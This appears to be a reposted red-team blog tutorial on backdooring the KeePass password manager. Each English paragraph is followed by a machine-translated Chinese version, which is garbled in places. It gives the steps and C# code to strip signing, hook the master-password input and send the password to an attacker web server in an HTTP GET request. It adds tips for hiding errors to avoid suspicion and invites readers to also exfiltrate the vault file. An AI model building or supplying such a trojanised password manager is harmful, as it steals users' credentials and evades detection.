Backdooring KeePass for Fun and Profit

Hey everyone! 大家好!

Welcome back to another blog post. August is swiftly coming to a close and I really wanted to try to get one more post out before the month closes. I’m writing this on 8/30 for reference. No idea how long this is going to take, but we’re going to run with it.
欢迎回到另一篇博文。八月即将结束,我真的很想在本月结束之前再发布一篇文章。我在 8/30 上写这篇文章以供参考。不知道这需要多长时间,但我们会运行它。

For those of you who don’t know, I’m now in an internal red team role, this let’s me get extra creative as I know our environment really well, for reference, I’ve worked at the company for 3~ years now and I’m still finding fun and creative ways to bonk people. So - the other day I had my KeePass vault open and thought “Wow, if someone really wanted to, they could yoink my key right out of memory and have most of my passwords”. Then I thought “how classic, dumping memory. I’m sure there’d be a more stealthy way”. I’m sure there is, so that’s what I’ll be exploring in todays blog post.
对于那些不知道的人,我现在处于内部红队角色,这让我变得格外有创意,因为我非常了解我们的环境,作为参考,我已经在公司工作了 3~ 年了,我仍然在寻找有趣和创造性的方式来吸引人们。所以 - 前几天我打开了我的KeePass保险库,并想“哇,如果有人真的想,他们可以直接从内存中取出我的密钥并拥有我的大部分密码”。然后我想“多么经典,倾倒记忆。我相信会有更隐蔽的方式”。我确定有,所以这就是我将在今天的博客文章中探讨的内容。

Sections & Pre-Reqs 部分和先决条件

This post will be broken down into 4 different sections:

  • Improvise Adapt, Overcome
  • Analyzing KeePass 分析基帕斯
  • POC || GTFO POC ||走开
  • Silent Exfiltration via the Web

In order to get the most out of this post, you should have some prior experience with C#, some basic knowledge of how Password Managers work and an adversarial mindset. Pretty straight forward. Let’s dive into it 😀
为了充分利用这篇文章,您应该有一些 C# 的经验,一些关于密码管理器工作原理的基本知识以及对抗心态。很简单。让我们深入了解它:D

Improvise, Adapt, Overcome

My original idea was to create a backdoored version of KeePass that would send a GET/POST request to an attacker controlled web server. This in theory should be relatively easy! KeePass is FOSS and even OSI certified so this should be a piece of cake! So, naturally the first step would be to acquire the source code which can be found at the bottom of KeePass’ downloads page. Unzipping it, it’s a .sln project, how nice! Included there’s also a ReadMe_PFX.txt file… How interesting… It reads:

All projects contain dummy PFX files. These PFX files are NOT
the ones with which the KeePass distributions are signed, these
are kept secret.

In order to unlock the private keys of the dummy PFX files,

    "123123"  (without the quotes)

Official KeePass distributions are signed with private keys.
You can find the corresponding public keys in the


Uh oh. That’s a problem… Will this derail our plan? Eh… I’m not going to let it. We’ll keep on pushing forward! Sure, it’s not really as cool as hijacking a DLL, hooking some APIs to spit out the password, but I’m not going to let a silly little signature stop me. Who even checks these things anyways! disclaimer, that is a joke. digital signatures are very important and can be the difference in software running or software being quarantined by AV/EDR or even executing. I still think it would be fun to go through with this. So, how can we remove the digital signature? This process is relatively simple, we just have to open the sln up in Visual Studio. In the Solution Explorer window, you should have 3 projects.
呃哦。这是一个问题...这会破坏我们的计划吗?啊。。。我不会让它。我们将继续前进!当然,这并不像劫持DLL,钩住一些API来吐出密码那么酷,但我不会让一个愚蠢的小签名阻止我。反正谁还要检查这些东西!免责声明,这是一个笑话。数字签名非常重要,可能是软件运行或软件被 AV/EDR 隔离甚至执行的差异。我仍然认为这样做会很有趣。那么,我们如何删除数字签名呢?这个过程相对简单,我们只需要在Visual Studio中打开sln。在“解决方案资源管理器”窗口中,应有 3 个项目。

Backdooring KeePass for Fun and Profit

Right click a project and select “Properties”, a new window should appear:

Backdooring KeePass for Fun and Profit

On the right side, you’ll see a tab called “Signing”. Select that. A new window will open related to code signing:

Backdooring KeePass for Fun and Profit

Uncheck the “Sign this assembly” box. Repeat the process for each of the projects. There’s one more thing we have to do. In the KeePass project, select the “Build Events” tab. You should see “Post-build event command line”. This references a application called “sgen”. This will also have some fun signature related stuff that may prevent us from compiling. I found it works with just these as arguments:
取消选中“对此程序集进行签名”框。对每个项目重复此过程。我们还有一件事要做。在 KeePass 项目中,选择“构建事件”选项卡。应会看到“生成后事件命令行”。这引用了一个名为“sgen”的应用程序。这也将有一些有趣的签名相关内容,可能会阻止我们编译。我发现它只适用于这些作为参数:

"$(FrameworkSDKDir)bin\sgen.exe" /assembly:"$(TargetPath)" /force /nologo /compiler

Now you should be able to right click each project and select “Rebuild”. Compilation should complete without Errors. If it doesn’t - Read the errors and make sure sgen is in the expected location.
现在您应该能够右键单击每个项目并选择“重建”。编译应完成,没有错误。如果没有 - 读取错误并确保 sgen 位于预期位置。

At this point, we should now have a working copy of KeePass that is not signed!

Backdooring KeePass for Fun and Profit

Notice the one on the left does not have a Digital Signatures tab and the one on the right does. Take a guess at which ours is!

Analyzing KeePass 分析基帕斯

Reverse Engineering software is hard, I’ll be the first to say it, but oh boy is it a lot easier when the software you’re REing is FOSS! Fortunately for us it is. We’re going to use my favorite tactic called “Using some information we know to correlate things to information we don’t know!”. What we do know is the dialogue that KeePass prompts us for when we input our password:

Backdooring KeePass for Fun and Profit

In this case, “Master password:”. This should help us easily find the UI form that should reference the name of some variable or struct we could use to siphon data. My favorite text editor in the whole world is… not VS Code but Sublime. RegEx support is awesome, super fast, it does everything I need it to and more. We’re going to use one of my favorite hot keys “Ctrl+Shift+F” to search all our files to find the string “Master Password”.
在本例中为“主密码:”。这应该可以帮助我们轻松找到 UI 表单,该表单应引用我们可以用来窃取数据的某些变量或结构的名称。全世界我最喜欢的文本编辑器是...不是VS代码,而是崇高。正则表达式支持很棒,超快,它可以完成我需要的一切以及更多。我们将使用我最喜欢的热键之一“Ctrl + Shift + F”来搜索所有文件以查找字符串“主密码”。

Backdooring KeePass for Fun and Profit

Out of 1468 files we have 2 occurrences of “Master password:” in KeePass\Forms\KeyPromptForm.Designer.cs and KeePass\Forms\KeyCreationForm.Designer.cs files. Let’s take a peak at those. Clicking the file in Visual Studio shows the compiled design, neat. I never knew that.
在 1468 个文件中,我们在 KeePass\Forms\KeyPromptForm.Designer.cs 和 KeePass\Forms\KeyCreationForm.Designer.cs 文件中出现了 2 次“主密码:”。让我们来看看这些。在Visual Studio中单击该文件会显示编译后的设计,整洁。我从来不知道。

Backdooring KeePass for Fun and Profit

It looks like KeyPromptForm.cs is what we’re after. Right clicking it and selecting “View Code” will show us the source. We can see in our prior screenshots, we’re looking at what I’m going to call the m_cbPassword struct. I don’t know if this is right, but that’s what I’m going to call it. We’ll want to see if we can identify what happens when this gets submitted. Searching the KeyPromptForm.cs file, we can see a function called OnBtnOK. Seems OK, a small function that calls another function called “KeyFromUI”. This tracks. Clicking on the Function, we can see a declaration:

internal static CompositeKey KeyFromUI(CheckBox cbPassword,
	PwInputControlGroup icgPassword, SecureTextBoxEx stbPassword,
	CheckBox cbKeyFile, ComboBox cmbKeyFile, CheckBox cbUserAccount,
	IOConnectionInfo ioc, bool bSecureDesktop)

This can be found in KeyUtils.cs on lines 113-116. stbPassword seems to be a relatively interesting variable, its likely that this contains the object we seek - the password!
这可以在KeyUtils中找到.cs在第113-116行。stbPassword 似乎是一个相对有趣的变量,它很可能包含我们寻找的对象 - 密码!

POC || GTFO POC ||走开

Backdooring KeePass for Fun and Profit

Looking at the surrounding function, we can see stbPassword is converted to UTF-8, a more user friendly format. We can also see some attempted validation, so if we want to be extra sure we’ve got the right thing, we can embed our GET/POST request in the function. As a Proof of Concept, let’s just grab all the data a user enters. For simplicity of testing to ensure we’ve got the right field, we can just write the data out to a file.
查看周围的函数,我们可以看到 stbPassword 被转换为 UTF-8,这是一种更加用户友好的格式。我们还可以看到一些尝试的验证,所以如果我们想额外确定我们得到了正确的东西,我们可以在函数中嵌入我们的 GET/POST 请求。作为概念验证,让我们获取用户输入的所有数据。为了简化测试以确保我们得到正确的字段,我们可以将数据写入文件。

	pbPasswordUtf8 = stbPassword.TextEx.ReadUtf8();
	FileStream fs = File.Open("C:\\Users\\YOURUSER\\Downloads\\notapass.txt", FileMode.Append);
	fs.Write(pbPasswordUtf8,0, pbPasswordUtf8.Length);
		if(!icgPassword.ValidateData(true)) return null;

Compiling the code and running KeePass we are presented with roughly what we expect. No visual differences. Now, the magic is supposed to happen after we input the password and press the “OK” button (remember, we got this function from OnBtnOK).

Backdooring KeePass for Fun and Profit

We’ve entered our super secret password and pressing OK creates a new file!

Backdooring KeePass for Fun and Profit

Bingo. We got it. So, now we know definitely what variable contains the password. It should be trivial to send an HTTP request to our site to exfil our data. I’d recommend deleting the code in case you decide you want to actually weaponize this in prod… Just don’t want to leave that laying around ;D

Silent Exfiltration via the Web

For our POC, we’ll want to move down lower to grab the verified password and not just any password. I think line 147~ (in the IF statement)) is a good place for this, right before the data gets zero’d out from memory. Using the HttpWebRequest library, we can craft a simple HTTP request. The code looks something like so:
对于我们的 POC,我们希望向下移动以获取已验证的密码,而不仅仅是任何密码。我认为第 147 行~(在 IF 语句中))是一个很好的地方,就在数据从内存中归零之前。使用 HttpWebRequest 库,我们可以制作一个简单的 HTTP 请求。代码如下所示:

if (cbKeyFile.Checked) strKeyFile = cmbKeyFile.Text;
		string url = "" + Encoding.UTF8.GetString(pbPasswordUtf8);
		HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
		request.Method = "GET";
	return CreateKey(pbPasswordUtf8, strKeyFile, cbUserAccount.Checked,
	ioc, bNewKey, bSecureDesktop);

Pretty boilerplate, first line is our URL - the bytes like object is converted to a full fledge string (it didn’t matter in our previous snippet because we were writing bytes out to a file). The second line actually creates the GET request, third sets the method, and lastly the forth sends the GET request by retrieving the response from the Web Server. I would highly recommend wrapping this in a try catch statement to avoid suspicion if the Web Server is not alive/dns records change, etc. etc. The last thing you want is an error message!
漂亮的样板,第一行是我们的 URL - 像对象一样的字节被转换为完整的字符串(在我们之前的片段中这并不重要,因为我们正在将字节写入文件)。第二行实际创建 GET 请求,第三行设置方法,最后第四行通过从 Web 服务器检索响应来发送 GET 请求。我强烈建议将其包装在 try catch 语句中,以避免在 Web 服务器未激活/dns 记录更改等情况下产生怀疑。您最不想要的就是错误消息!

We can test this by re-compiling KeePass and hopping onto our Web Server which will be expecting the payload. Now, we can try entering our password to unlock our vault and…

Backdooring KeePass for Fun and Profit

Success! We’ve got a relatively silent password stealer. So, where do we go from here? Great question dear reader - assuming you’ve managed to compromise a users device and install a backdoored version of KeePass (like this one), you probably can access their KeePass vault file as well.
成功!我们有一个相对沉默的密码窃取程序。那么,我们该何去何从呢?亲爱的读者,这个问题很好 - 假设您设法破坏了用户设备并安装了KeePass的后门版本(如这个),您可能也可以访问他们的KeePass保管库文件。

Though, role play with me for a second: You’re on a Red Team engagement and you happened to have poor OpSec this week. You were off your game and the SOC quarantined your beacon. Thankfully, they missed your backdoored version of KeePass. While you’ve lost access to the device, you still have this. A key is useless without a door. My challenge for you (If you’ve made it this far) is to further modify KeePass and exfiltrate the KeePass Database file as well. If you get a working POC, tag me on Twitter 😀
不过,和我玩一会儿角色扮演:你正在参加红队活动,本周你的OpSec碰巧很差。您离开了游戏,SOC 隔离了您的信标.值得庆幸的是,他们错过了KeePass的后门版本。虽然您无法访问该设备,但您仍然拥有此功能。没有门,钥匙是没有用的。我对你的挑战(如果你已经做到了这一点)是进一步修改KeePass并泄露KeePass数据库文件。如果你得到一个有效的POC,请在Twitter上标记我:D

Anyways, that’s all I’ve got for you today. Thanks for the continued support, it means the world to me <3

~ Ronnie ~罗尼

原文始发于spookysec:Backdooring KeePass for Fun and Profit

版权声明:admin 发表于 2023年9月1日 上午9:22。
转载请注明:Backdooring KeePass for Fun and Profit | CTF导航